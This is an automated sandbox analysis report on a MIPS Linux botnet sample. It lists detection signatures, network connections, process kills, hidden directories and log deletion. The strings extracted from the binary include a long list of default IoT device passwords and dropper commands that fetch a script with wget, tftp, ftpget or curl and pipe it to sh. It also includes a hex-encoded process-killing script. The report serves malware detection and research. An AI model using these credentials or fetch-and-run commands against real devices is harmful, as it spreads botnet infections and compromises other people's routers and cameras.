Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name: la.bot.mips.elf
Analysis ID: 1562376
MD5: 2ea3dd8aec5a14714dab176e36ae4256
SHA1: ea2db5e88a8932ff68f43bf0aa57dbc22535fafd
SHA256: be0babd9b75a8d30e13818e4e9211764f55647bf52515a982a54f62688d20b60
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sample tries to kill multiple processes (SIGKILL)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mips.elf Avira: detected
Found strings indicative of a multi-platform dropper
Source: la.bot.mips.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mips.elf String: /proc//proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.mips.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.mips.elf (PID: 6239) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 169.237.66.111
Source: unknown TCP traffic detected without corresponding DNS query: 223.89.154.43
Source: unknown TCP traffic detected without corresponding DNS query: 126.39.179.38
Source: unknown TCP traffic detected without corresponding DNS query: 13.246.89.36
Source: unknown TCP traffic detected without corresponding DNS query: 84.92.165.95
Source: unknown TCP traffic detected without corresponding DNS query: 4.218.45.118
Source: unknown TCP traffic detected without corresponding DNS query: 113.3.117.6
Source: unknown TCP traffic detected without corresponding DNS query: 151.161.172.111
Source: unknown TCP traffic detected without corresponding DNS query: 208.0.124.204
Source: unknown TCP traffic detected without corresponding DNS query: 17.202.216.33
Source: unknown TCP traffic detected without corresponding DNS query: 165.88.176.245
Source: unknown TCP traffic detected without corresponding DNS query: 95.65.249.79
Source: unknown TCP traffic detected without corresponding DNS query: 88.251.129.74
Source: unknown TCP traffic detected without corresponding DNS query: 174.240.79.16
Source: unknown TCP traffic detected without corresponding DNS query: 44.97.134.62
Source: unknown TCP traffic detected without corresponding DNS query: 107.7.81.211
Source: unknown TCP traffic detected without corresponding DNS query: 112.32.88.5
Source: unknown TCP traffic detected without corresponding DNS query: 215.219.121.190
Source: unknown TCP traffic detected without corresponding DNS query: 117.107.16.144
Source: unknown TCP traffic detected without corresponding DNS query: 36.234.155.177
Source: unknown TCP traffic detected without corresponding DNS query: 149.119.179.35
Source: unknown TCP traffic detected without corresponding DNS query: 167.127.62.171
Source: unknown TCP traffic detected without corresponding DNS query: 166.223.103.182
Source: unknown TCP traffic detected without corresponding DNS query: 49.82.13.21
Source: unknown TCP traffic detected without corresponding DNS query: 111.57.209.74
Source: unknown TCP traffic detected without corresponding DNS query: 180.231.219.97
Source: unknown TCP traffic detected without corresponding DNS query: 6.220.78.110
Source: unknown TCP traffic detected without corresponding DNS query: 83.172.86.6
Source: unknown TCP traffic detected without corresponding DNS query: 63.24.13.177
Source: unknown TCP traffic detected without corresponding DNS query: 159.250.1.77
Source: unknown TCP traffic detected without corresponding DNS query: 69.136.97.109
Source: unknown TCP traffic detected without corresponding DNS query: 107.152.0.42
Source: unknown TCP traffic detected without corresponding DNS query: 27.8.162.35
Source: unknown TCP traffic detected without corresponding DNS query: 169.237.66.111
Source: unknown TCP traffic detected without corresponding DNS query: 171.50.100.154
Source: unknown TCP traffic detected without corresponding DNS query: 18.38.20.250
Source: unknown TCP traffic detected without corresponding DNS query: 223.89.154.43
Source: unknown TCP traffic detected without corresponding DNS query: 126.39.179.38
Source: unknown TCP traffic detected without corresponding DNS query: 202.57.89.27
Source: unknown TCP traffic detected without corresponding DNS query: 84.55.230.163
Source: unknown TCP traffic detected without corresponding DNS query: 16.25.15.132
Source: unknown TCP traffic detected without corresponding DNS query: 164.16.169.112
Source: unknown TCP traffic detected without corresponding DNS query: 194.238.252.107
Source: unknown TCP traffic detected without corresponding DNS query: 186.77.133.200
Source: unknown TCP traffic detected without corresponding DNS query: 101.188.33.165
Source: unknown TCP traffic detected without corresponding DNS query: 13.246.89.36
Source: unknown TCP traffic detected without corresponding DNS query: 126.226.133.56
Source: unknown TCP traffic detected without corresponding DNS query: 65.180.137.47
Source: unknown TCP traffic detected without corresponding DNS query: 80.44.6.54
Source: unknown TCP traffic detected without corresponding DNS query: 30.167.205.115
Source: la.bot.mips.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mips.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6337, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6338, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6339, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6340, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6341, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6342, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6343, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6344, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6345, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6346, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6347, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6348, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6349, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6350, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6351, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6352, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6353, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6354, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6380, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6391, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6394, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6414, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6423, result: no such process Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6424, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6439, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6453, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6456, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6458, result: successful Jump to behavior
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//v
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6337, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6338, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6339, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6340, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6341, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6342, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6343, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6344, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6345, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6346, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6347, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6348, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6349, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6350, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6351, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6352, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6353, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6354, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6380, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6391, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6394, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6414, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6423, result: no such process Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6424, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6439, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6453, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6456, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) SIGKILL sent: pid: 6458, result: successful Jump to behavior
Source: classification engine Classification label: mal60.spre.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.mips.elf (PID: 6243) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6243) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6241) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.mips.elf (PID: 6243) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mips.elf (PID: 6239) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mips.elf, 6239.1.00007fa294459000.00007fa294460000.rw-.sdmp Binary or memory string: VMware
Source: la.bot.mips.elf, 6239.1.00005613ea4b1000.00005613ea559000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6239.1.00005613ea4b1000.00005613ea559000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
